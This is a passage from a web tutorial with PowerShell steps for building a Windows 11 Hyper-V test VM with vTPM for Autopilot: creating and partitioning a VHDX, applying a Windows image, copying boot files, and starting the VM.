<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">#Pop-Location</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Dismount-DiskImage</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">DevicePath $DiskImage.DevicePath</span></span></code></pre>
</div><ol start="4">
<li>The next step is to create the Virtual Disk Image used for the VM.<br>
For that we create a .vdhx file (don`t be mislead by the VHD in the cmdlet.), mount it and prepare it for the Windows installation.
This means creating the .vhdx, initializing it and creating and formating the needed partitions.</li>
</ol>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Create a new VHDX file</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">New-VHD</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Path $vhdPath </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">SizeBytes $vhdsize </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Dynamic</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Mount the VHDX file</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Mount-VHD</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Path $vhdPath</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Get the disk number of the mounted VHDX</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$disk </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Get-Disk</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> |</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Where-Object</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> IsOffline </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-eq</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> $false</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> |</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Sort-Object</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> Number </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Select-Object</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Last </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">1</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Initialize the disk</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Initialize-Disk</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Number $disk.Number</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Creates the four needed Windows partitions and formats them to Microsofts best practice</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$system_part </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> New-Partition</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">DiskNumber $disk.Number </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">size </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">100</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">MB</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">AssignDriveLetter </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">GptType </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"{c12a7328-f81f-11d2-ba4b-00a0c93ec93b}"</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Format-Volume</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">DriveLetter $system_part.DriveLetter </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">NewFileSystemLabel </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"System"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">FileSystem Fat32 </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Confirm:</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$false</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Force</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$ms_part </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> New-Partition</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">DiskNumber $disk.Number </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">size </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">16</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">MB</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">AssignDriveLetter </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">GptType </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"{e3c9e316-0b5c-4db8-817d-f92df00215ae}"</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$recovery_part </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> New-Partition</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">DiskNumber $disk.Number </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">size </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">500</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">MB</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">AssignDriveLetter </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">GptType </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"{de94bba4-06d1-4d40-a16a-bfd50179d6ac}"</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Format-Volume</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">DriveLetter $recovery_part.DriveLetter </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">NewFileSystemLabel </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"Recovery"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">FileSystem NTFS </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Confirm:</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$false</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Force</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$windows_part </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> New-Partition</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">DiskNumber $disk.Number </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">UseMaximumSize </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">AssignDriveLetter </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">GptType </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"{ebd0a0a2-b9e5-4433-87c0-68b6b72699c7}"</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Format-Volume</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">DriveLetter $windows_part.DriveLetter </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">NewFileSystemLabel </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"Windows"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">FileSystem NTFS </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Confirm:</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$false</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Force</span></span></code></pre>
</div><ol start="5">
<li>Now that we got a mounted prepared disk, we can apply the Windows image to it.</li>
</ol>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">dism </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Apply</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Image </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ImageFile:</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$Folder</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">\install.wim"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> /</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Index:</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">1</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> /</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ApplyDir:</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$windows_part.DriveLetter</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">:\"</span></span></code></pre>
</div><ol start="6">
<li>And following this, we need to copy the boot files to the System partition.<br>
Because this is a batch process we need to start it via a process and that necessitated the short sleep afterwards.</li>
</ol>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Start-Process</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">NoNewWindow </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">FilePath </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$windows_part.DriveLetter</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">:\Windows\System32\bcdboot"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ArgumentList </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$windows_part.DriveLetter</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">:\Windows /s </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$system_part.DriveLetter</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">:"</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">start-sleep</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">seconds </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">10</span></span></code></pre>
</div><ol start="7">
<li>Before we can create the VM next, we have bit of cleanup to do.<br>
This means dismounting the still mounted .vhdx, so the vm can use it and remove the install.wim image, because we don`t need it anymore and it takes up about 5 GB to 6 GB.</li>
</ol>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">dismount-vhd</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">path $vhdpath</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">remove-item</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">path </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$Folder</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">\install.wim"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">force</span></span></code></pre>
</div><ol start="8">
<li>Now the VM can finally be created and for that, we first need to provide a few parameters.
For the Test mashine 8 GB of RAM is used, Generation 2 so vTPM and Autopilot can be used and the VM uses the Default Switch.
If you need something different, you can just change the parameters.</li>
</ol>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$VM </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> @</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">     Name </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $VMName</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">     MemoryStartupBytes </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 8589934592</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">     Generation </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 2</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">     BootDevice </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "VHD"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">     Path </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$Folder</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">\</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$VMName</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">     SwitchName </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> (</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Get-VMSwitch</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">).Name</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">     VHDPath </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $vhdpath</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">     GuestStateIsolationType </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "TrustedLaunch"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">New-VM</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> @VM</span></span></code></pre>
</div><ol start="9">
<li>Now we need to set the KeyProtector and Enable TPM on VM so Autopilot is possible.</li>
</ol>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Set-VMKeyProtector</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">VMName $VMName </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">NewLocalKeyProtector</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Enable-VMTPM</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">VMName $VMName</span></span></code></pre>
</div><ol start="10">
<li>And then start and connects to VM.
And just like this you got a fresh Windows 11 VM that doesn`t need extra steps to generalized.</li>
</ol>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Start-VM</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Name $VMName</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">vmconnect.exe</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> localhost $vmname</span></span></code></pre>
</div><h2 id="the-whole-script-together" tabindex="-1">The whole Script together <a class="header-anchor" href="#the-whole-script-together" aria-label="Permalink to &quot;The whole Script together&quot;">&ZeroWidthSpace;</a></h2>
<p>Just run it, and your good to go.</p>
<div class="tip custom-block"><p class="custom-block-title">TIP</p>
<p>If you allready got Hyper-V activated or using the script multiple times, just remove the 'Installation Hyper-V Windows Feature' part.</p>
</div>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Installation Hyper-V Windows Feature</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Enable-WindowsOptionalFeature</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Online </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">FeatureName Microsoft</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Hyper</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">V </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">All</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Parameter Promt</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">Param</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  [</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Parameter</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70">Mandatory</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$True</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70">Position</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">1</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)]</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  [</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">string</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]$VMName</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  [</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Parameter</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70">Mandatory</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$True</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70">Position</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">2</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)]</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  [</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">string</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]$Folder</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  [</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Parameter</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70">Mandatory</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$True</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70">Position</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">3</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)]</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  [</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">string</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]$WindowsISO</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Parameter</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$vhdpath </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$Folder</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">\</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$VMName</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">\</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$VMName</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">.vhdx"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$vhdsize </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 50</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">GB</span></span>
